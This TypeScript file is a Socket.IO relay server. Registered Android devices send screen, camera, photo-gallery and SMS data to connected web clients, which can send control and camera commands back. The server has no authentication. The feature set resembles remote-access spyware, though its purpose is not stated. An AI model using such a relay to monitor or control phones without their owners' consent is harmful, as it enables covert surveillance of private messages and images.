320 lines
11 KiB
TypeScript
320 lines
11 KiB
TypeScript
import express from 'express';
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import http from 'http';
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import cors from 'cors';
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import { Server } from 'socket.io';
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import DeviceManager from './managers/DeviceManager';
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import WebClientManager from './managers/WebClientManager';
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import { DatabaseService } from './services/DatabaseService';
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import MessageRouter from './services/MessageRouter';
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import Logger from './utils/Logger';
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const app = express();
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const server = http.createServer(app);
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const logger = new Logger('Server');
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// CORS配置
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app.use(cors({
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origin: "*",
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methods: ["GET", "POST"],
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credentials: true
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}));
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app.use(express.json());
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// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
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const io = new Server(server, {
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cors: {
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origin: "*",
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methods: ["GET", "POST"],
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credentials: true
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},
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// 🔧 心跳机制优化（v4已解决心跳方向问题）
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pingInterval: 25000, // 25秒发送一次ping（服务器->客户端）
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pingTimeout: 60000, // 60秒等待pong响应
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upgradeTimeout: 30000, // 30秒传输升级超时
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// 🔧 传输优化
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transports: ['websocket', 'polling'],
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allowEIO3: false, // 不支持旧版本协议
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// 🔧 缓冲区和数据包优化
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maxHttpBufferSize: 10e6, // 10MB缓冲区
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allowUpgrades: true,
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// 🔧 连接管理
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connectTimeout: 45000, // 连接超时
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serveClient: false, // 不提供客户端文件
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// 🔧 Engine.IO 配置
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cookie: {
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name: "io",
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httpOnly: true,
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sameSite: "strict"
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}
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});
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// 管理器初始化
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const databaseService = new DatabaseService();
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const deviceManager = new DeviceManager();
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const webClientManager = new WebClientManager(databaseService);
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const messageRouter = new MessageRouter(deviceManager, webClientManager, databaseService);
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// 设置Socket.IO实例
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webClientManager.setSocketIO(io);
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// 健康检查端点
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app.get('/health', (req, res) => {
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const stats = {
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status: 'ok',
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timestamp: new Date().toISOString(),
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devices: deviceManager.getDeviceCount(),
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webClients: webClientManager.getClientCount(),
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uptime: process.uptime()
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};
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res.json(stats);
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});
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// Socket.IO连接处理
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io.on('connection', (socket) => {
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logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
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// 连接质量监控
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const connectionStart = Date.now();
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// 设备注册事件
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socket.on('device_register', (deviceInfo) => {
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logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
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const device: any = {
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id: deviceInfo.deviceId,
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socketId: socket.id,
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name: deviceInfo.deviceName,
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model: deviceInfo.deviceModel,
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osVersion: deviceInfo.osVersion,
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appVersion: deviceInfo.appVersion,
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screenWidth: deviceInfo.screenWidth,
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screenHeight: deviceInfo.screenHeight,
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capabilities: deviceInfo.capabilities,
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connectedAt: new Date(),
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lastSeen: new Date(),
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status: 'online' as const
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};
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deviceManager.addDevice(device);
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databaseService.saveDevice(deviceInfo, socket.id);
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// 通知所有Web客户端有新设备连接
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const activeWebClients = Array.from(webClientManager.getAllClients()).filter(client => {
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const socket = io.sockets.sockets.get(client.socketId);
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return socket && socket.connected;
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}).length;
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logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
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webClientManager.broadcastToAll('device_connected', {
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device: deviceManager.getDevice(deviceInfo.deviceId)
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});
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// ui_hierarchy_response监听器已在全局设置，无需重复添加
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});
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// Web客户端注册事件
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socket.on('web_client_register', (clientInfo) => {
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logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
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const clientData = {
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id: socket.id,
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socketId: socket.id,
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userAgent: clientInfo.userAgent || 'unknown',
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ip: socket.handshake.address || 'unknown',
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connectedAt: new Date(),
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lastSeen: new Date()
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};
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webClientManager.addClient(clientData);
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// 发送当前设备列表
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const devices = deviceManager.getAllDevices();
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socket.emit('device_list', devices);
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});
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// 屏幕数据路由
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socket.on('screen_data', (data) => {
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messageRouter.routeScreenData(socket.id, data);
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});
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// 摄像头数据路由
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socket.on('camera_data', (data) => {
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messageRouter.routeCameraData(socket.id, data);
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});
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// 相册图片数据路由
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socket.on('gallery_image', (data) => {
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messageRouter.routeGalleryImage(socket.id, data);
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});
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// 短信数据路由
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socket.on('sms_data', (data) => {
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messageRouter.routeSmsData(socket.id, data);
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});
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// 控制命令路由
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socket.on('control_command', (message) => {
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messageRouter.routeControlMessage(socket.id, message);
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});
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// 摄像头控制命令路由
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socket.on('camera_control', (message) => {
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// 将摄像头控制消息转换为标准控制消息格式
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const controlMessage = {
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type: message.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH
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deviceId: message.deviceId,
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data: message.data || {},
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timestamp: Date.now()
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};
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messageRouter.routeControlMessage(socket.id, controlMessage);
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});
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// 测试连接监听器
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socket.on('CONNECTION_TEST', (data) => {
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logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
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// 🔧 修复：回复确认消息给Android端，避免心跳失败累积
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try {
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socket.emit('CONNECTION_TEST_RESPONSE', {
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success: true,
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timestamp: Date.now(),
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receivedData: data
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});
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logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
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} catch (error) {
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logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
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}
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});
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// 简单测试事件监听器
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socket.on('SIMPLE_TEST_EVENT', (data) => {
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logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
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});
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// 调试：UI响应前的测试消息
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socket.on('debug_test_before_ui', (data) => {
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logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
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logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
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});
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// 简单测试消息监听器
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socket.on('simple_test', (data) => {
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logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
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});
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// UI层次结构响应 (设备端响应)
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socket.on('ui_hierarchy_response', (data) => {
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logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
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logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
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logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
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// ✅ 参考screen_data的处理方式，直接调用专用路由方法
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const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
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logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
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});
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// 设备控制请求
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socket.on('request_device_control', (data) => {
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const result = webClientManager.requestDeviceControl(socket.id, data.deviceId);
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socket.emit('device_control_response', {
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success: result.success,
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message: result.message,
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deviceId: data.deviceId
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});
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});
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// 释放设备控制
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socket.on('release_device_control', (data) => {
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const released = webClientManager.releaseDeviceControl(data.deviceId);
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if (released) {
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socket.emit('device_control_released', { deviceId: data.deviceId });
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}
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});
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// 客户端事件路由
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socket.on('client_event', (eventData) => {
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logger.info(`收到客户端事件: ${JSON.stringify(eventData)}`);
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messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data);
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});
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// 🆕 权限申请响应（设备端响应）
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socket.on('permission_response', (data) => {
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logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
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logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
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// 路由权限申请响应
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const routeResult = messageRouter.routePermissionResponse(socket.id, data);
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logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
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});
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// 调试：捕获所有未处理的事件
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const originalEmit = socket.emit;
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const originalOn = socket.on;
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// 记录所有接收到的事件
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socket.onAny((eventName, ...args) => {
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if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) {
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logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
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}
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// 特别关注UI层次结构响应
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if (eventName === 'ui_hierarchy_response') {
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logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
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logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
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}
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});
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socket.on('disconnect', (reason) => {
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const duration = Math.round((Date.now() - connectionStart) / 1000);
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const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor';
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logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
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// 更新数据库中的断开连接记录
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databaseService.updateDisconnection(socket.id);
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// 移除设备或Web客户端
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const device = deviceManager.getDeviceBySocketId(socket.id);
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if (device) {
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logger.info(`📱 设备断开: ${device.name} (${device.id})`);
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deviceManager.removeDevice(device.id);
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// 通知所有Web客户端设备已断开
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webClientManager.broadcastToAll('device_disconnected', {
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deviceId: device.id
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});
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} else {
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// 可能是Web客户端断开
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const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
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if (clientRemoved) {
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logger.info(`🌐 Web客户端断开: ${socket.id}`);
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}
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}
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});
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});
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// 全局错误处理
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process.on('unhandledRejection', (reason, promise) => {
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logger.error('未处理的Promise拒绝:', reason);
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});
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process.on('uncaughtException', (error) => {
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logger.error('未捕获的异常:', error);
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process.exit(1);
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});
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const PORT = process.env.PORT || 3000;
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server.listen(PORT, () => {
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logger.info(`🚀 服务器启动在端口 ${PORT}`);
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logger.info(`📊 健康检查: http://localhost:${PORT}/health`);
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logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
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});
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export default server;
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